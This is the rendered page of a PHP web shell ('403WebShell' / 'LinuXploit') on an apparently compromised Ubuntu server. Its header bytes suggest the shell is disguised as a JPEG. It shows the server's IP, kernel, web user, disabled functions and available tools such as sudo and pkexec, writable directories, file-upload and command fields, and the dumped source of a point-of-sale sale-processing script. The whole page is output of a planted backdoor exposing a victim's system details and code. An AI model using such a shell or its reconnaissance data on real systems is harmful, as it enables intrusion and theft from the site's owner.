����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 18.222.188.218
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/t/sae/appsae/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/t/sae/appsae/core/app/view/processsell-view.php
<?php
date_default_timezone_set("America/Mexico_City");
$cambiarprecio_val = ConfigurationData::getByPreffix("cambiarprecio_val")->val; 
$Saldo_excedido = 0;

//ACTUALIZACION DE LIMITE DE CREDITO PARA QUE EVITE SEGUIR 24 DE JUNIO 2017 INICIO------
// verificamos al cliente con su numero de id
 if($_POST["client_id"]!="" && isset($_POST["client_id"]) && ($_POST["p_id"] == 4)){
	 //vemos cuanto tiene de saldo de compras
	$credit=PaymentData::sumByClientId($_POST["client_id"])->total;
	 //vemos cuanto tiene de limite de credito sacando valor de $client->credit_limit
	 $client = PersonData::getById($_POST["client_id"]);
 
//verificamos que el limite de credito no sea menor que la siguiente compra 
 if(($client->credit_limit < ($_POST["total"] + $credit)) && ($client->has_credit == 1))
 {
	//si la condicion es afirmativa evitamos la compra a credito 
	$Saldo_excedido = 1 ;
	echo "credito excedido";
	$total_excedido = ($_POST["total"] + $credit) - $client->credit_limit;
	print "<script>alert('Limite de credito Excedido  en $ $total_excedido ');</script>";
	print "<script>window.location='index.php?view=sell';</script>";
		
 }
 
 if ($client->has_credit == 0 )
 {
	print "<script>alert('Credito No Activo ');</script>";
	print "<script>window.location='index.php?view=sell';</script>"; 
	$Saldo_excedido = 1 ;
 }
 
 }
 //ACTUALIZACION DE LIMITE DE CREDITO PARA QUE EVITE SEGUIR 24 DE JUNIO 2017 INICIO------
 ?>



<?php

// SE ACTUALIZO SALDO EXCEDIDO EN SIGUIENTE LINEA 24 JUNIO 2017---- 
if(isset($_SESSION["cart"]) && ($Saldo_excedido != 1)){
	$cart = $_SESSION["cart"];
	if(count($cart)>0){
/// antes de proceder con lo que sigue vamos a verificar que:
		// haya existencia de productos
		// si se va a facturar la cantidad a facturr debe ser menor o igual al producto facturado en inventario
		$num_succ = 0;
		$process=false;
		$errors = array();
		foreach($cart as $c){

			///
			$q = OperationData::getQByStock($c["product_id"],StockData::getPrincipal()->id);
			if($q>0)
			{	
			
					if($c["q"]<=$q){
						if(isset($_POST["is_oficial"])){
						$qyf =OperationData::getQByStock($c["product_id"],StockData::getPrincipal()->id); /// son los productos que puedo facturar
						if($c["q"]<=$qyf){
							$num_succ++;
						}else{
						$error = array("product_id"=>$c["product_id"],"message"=>"No hay suficiente cantidad de producto para facturar en inventario error 1A.");					
						$errors[count($errors)] = $error;
						}
						}else{
							// si llegue hasta aqui y no voy a facturar, entonces continuo ...
							$num_succ++;
						}
					}else{
						
						$q = OperationData::getQByStock($c["product_id"],StockData::getPrincipal()->id);
						$q2 = OperationData2::getQByStock($c["product_id"],StockData::getPrincipal()->id);
						$qt = $q+$q2;
						if($q2>0)
						{	
						
						if($c["q"]<=$qt){
							if(isset($_POST["is_oficial"])){
							$q = OperationData::getQByStock($c["product_id"],StockData::getPrincipal()->id);
							$qyf2 =OperationData2::getQByStock($c["product_id"],StockData::getPrincipal()->id); /// son los productos que puedo facturar
							$qt=$q+$qyf2;
							if($c["q"]<=$qt){
								$num_succ++;
							}else{
							$error = array("product_id"=>$c["product_id"],"message"=>"No hay suficiente cantidad de producto para facturar en inventario. Error 1C");					
							$errors[count($errors)] = $error;
							}
							}else{
								// si llegue hasta aqui y no voy a facturar, entonces continuo ...
								$num_succ++;
							}
						}else{
							$error = array("product_id"=>$c["product_id"],"message"=>"No hay suficiente cantidad de producto en inventario Error 1D.");
							$errors[count($errors)] = $error;
						}
						
						}
					}
			}
			else{
				    
				$q2 = OperationData2::getQByStock($c["product_id"],StockData::getPrincipal()->id);
						
					if($q2>0)
						{	
							if($c["q"]<=$q2){
								if(isset($_POST["is_oficial"])){
								$qyf2 = OperationData2::getQByStock($c["product_id"],StockData::getPrincipal()->id);
								
								if($c["q"]<=$qyf2){
									$num_succ++;
								}else{
								$error = array("product_id"=>$c["product_id"],"message"=>"No hay suficiente cantidad de producto para facturar en inventario. Error 1E");					
								$errors[count($errors)] = $error;
								}
								}else{
									// si llegue hasta aqui y no voy a facturar, entonces continuo ...
									$num_succ++;
								}
							}else{
								$error = array("product_id"=>$c["product_id"],"message"=>"No hay suficiente cantidad de producto en inventario Error 1F.");
								$errors[count($errors)] = $error;
							}
						}else
						{
							$error = array("product_id"=>$c["product_id"],"message"=>"No hay suficiente cantidad de producto en inventario, Reabastecer.");
							$errors[count($errors)] = $error;
						}
				
			}
		}

if($num_succ==count($cart)){
	$process = true;
}

if($process==false){
$_SESSION["errors"] = $errors;
	?>	
<script>
	window.location="index.php?view=sell";
</script>
<?php
}





//////////////////////////////////
		if($process==true){
			$iva_val = ConfigurationData::getByPreffix("imp-val")->val;
			$sell = new SellData();
			$sell->user_id = $_SESSION["user_id"];

			$sell->p_id = $_POST["p_id"];
			$sell->d_id = $_POST["d_id"];
			$sell->iva=  $iva_val;
			$sell->total = $_POST["total"];
			$sell->discount = $_POST["discount"];
			$sell->stock_to_id = StockData::getPrincipal()->id;
			$sell->person_id=$_POST["client_id"]!=""?$_POST["client_id"]:"NULL";

			$s = $sell->add();

			 /// si es credito....
			 if($_POST["p_id"]==4){
			 	$payment = new PaymentData();
			 	$payment->sell_id = $s[1];
			 	$payment->val = ($_POST["total"]-$_POST["discount"]);
			 	$payment->person_id = $_POST["client_id"];
			 	$payment->add();
				/*
			 	if($_POST["money"]>0){
					$payment2 = new PaymentData();
				 	$payment2->val = -1*$_POST["money"];
				 	$payment2->person_id = $_POST["client_id"];
				 	$payment2->add_payment();
			 	}*/
				$credito=1;
			 }

		foreach($cart as  $c){
			$operation_type = "salida";
			if($_POST["d_id"]==2){ $operation_type="salida-pendiente"; }

			$product = ProductData::getById($c["product_id"]);
			$op = new OperationData();
			$op->price_in = $product->price_in;
			
			 if(($cambiarprecio_val != "SI") || ($cambiarprecio_val != "si")){
				$op->price_out = $product->price_out;
			}	
			else{
				
				$op->price_out = $product->price_out;
			}
			
			
			$op->product_id = $c["product_id"] ;

			$op->operation_type_id=OperationTypeData::getByName($operation_type)->id;
			$op->stock_id = StockData::getPrincipal()->id;
			$op->sell_id=$s[1];
			$op->q= $c["q"];
			if(isset($_POST["is_oficial"])){
				$op->is_oficial = 1;
			}

			$add = $op->add();			 		



////////////////// generando el mensaje
		$subject = "[".$s[1]."] Nueva venta en el inventario";
		$message = "<p>Se ha realizado una venta con Id = ".$s[1]."</p>";
$person_th="";
$person_td="";
$person = null;
if($_POST["client_id"]!=""){
	$person = $_POST["client_id"];
	$person_th="<td>Cliente</td>";
	$person_td="<td>$person</td>";
}


		$message .= "<table border='1'><tr>
		<td>Id</td>
		$person_th
		<td>Almacen</td>
		<td>Estado de pago</td>
		<td>Estado de entrega</td>
		<td>Total</td>
		</tr>
<tr>
		<td>".$s[1]."</td>
		$person_td
		<td>".StockData::getById($sell->stock_to_id)->name."</td>
		<td>".PData::getById($sell->p_id)->name."</td>
		<td>".DData::getById($sell->d_id)->name."</td>
		<td> $".number_format($sell->total,2,".",",")."</td>
		</tr>
		</table>";
		$message.="<h3 style='color:#333;'>Resumen</h3>";
		$message.="<table border='1'><thead><th>Id</th><th>Codigo</th><th>Cantidad</th><th>Unidad</th><th>Producto</th><th>P.U</th><th>P. Total</th></thead>";
		foreach($cart as  $c){
			$message.="<tr>";
		$product = ProductData::getById($c["product_id"]);
		$message.="<td>".$product->id."</td>";
		$message.="<td>".$product->barcode."</td>";
		$message.="<td>".$c["q"]."</td>";
		$message.="<td>".$product->unit."</td>";
		$message.="<td>".$product->name."</td>";
		$message.="<td>$ ".number_format($product->price_out,2,".",",")."</td>";
		$message.="<td>$ ".number_format($c["q"]*$product->price_out,2,".",",")."</td>";
		$message.="</tr>";
		}
		$message.="</table>";
//////////////////
		if($subject!=""&&$message!=""){
				$m = new MailData();
				$m->open();
				// enviamos una copia del correo para el cliente
				if($person!=null){ $m->mail->AddAddress($person->email1); }
			    $m->mail->Subject = $subject;
			    $m->message = "<p>$message</p>";
			    $m->mail->IsHTML(true);
			    $m->send();
			}
//////////////////




$qx = OperationData::getQByStock($product->id,StockData::getPrincipal()->id);
$subject="";
$message="";
$last = true;
if($qx==0){
			$subject = "[$product->name]".' No hay existencias';
			$message = "Hola, el producto <b>$product->name</b> no tiene existencias en el inventario";
			$last=false;
		}

if($qx<=$product->inventary_min/2 && $last){
	$subject = "[$product->name]".' Muy pocas existencias';
	$message = "Hola, el producto <b>$product->name</b> tiene muy pocas existencias en el inventario";
			$last=false;

}
if($qx<=$product->inventary_min && $last){
	$subject = "[$product->name]".' Pocas existencias';
	$message = "Hola, el producto <b>$product->name</b> tiene pocas existencias en el inventario";
			$last=false;
}
//////////////////
		if($subject!=""&&$message!=""){
				$m = new MailData();
				$m->open();
			    $m->mail->Subject = $subject;
			    $m->message = "<p>$message</p>";
			    $m->mail->IsHTML(true);
			    $m->send();
			}
//////////////////







$money1=$_POST["money"]-$_POST["total"];
$money=$_POST["money"];
////////////

		}
			unset($_SESSION["cart"]);
			setcookie("selled","selled");////////////////////
		if ($credito==1)
			print "<script>window.location='index.php?view=onesell1&id=$s[1]&money1=$money1&money=$money&f_id=".$_POST["f_id"]."&codef_id=".$_POST["codef_id"]."&credito=$credito';</script>";
		else
			print "<script>window.location='index.php?view=onesell1&id=$s[1]&money1=$money1&money=$money&f_id=".$_POST["f_id"]."&codef_id=".$_POST["codef_id"]."';</script>";
			
		}
	}
}



?>

Youez - 2016 - github.com/yon3zu
LinuXploit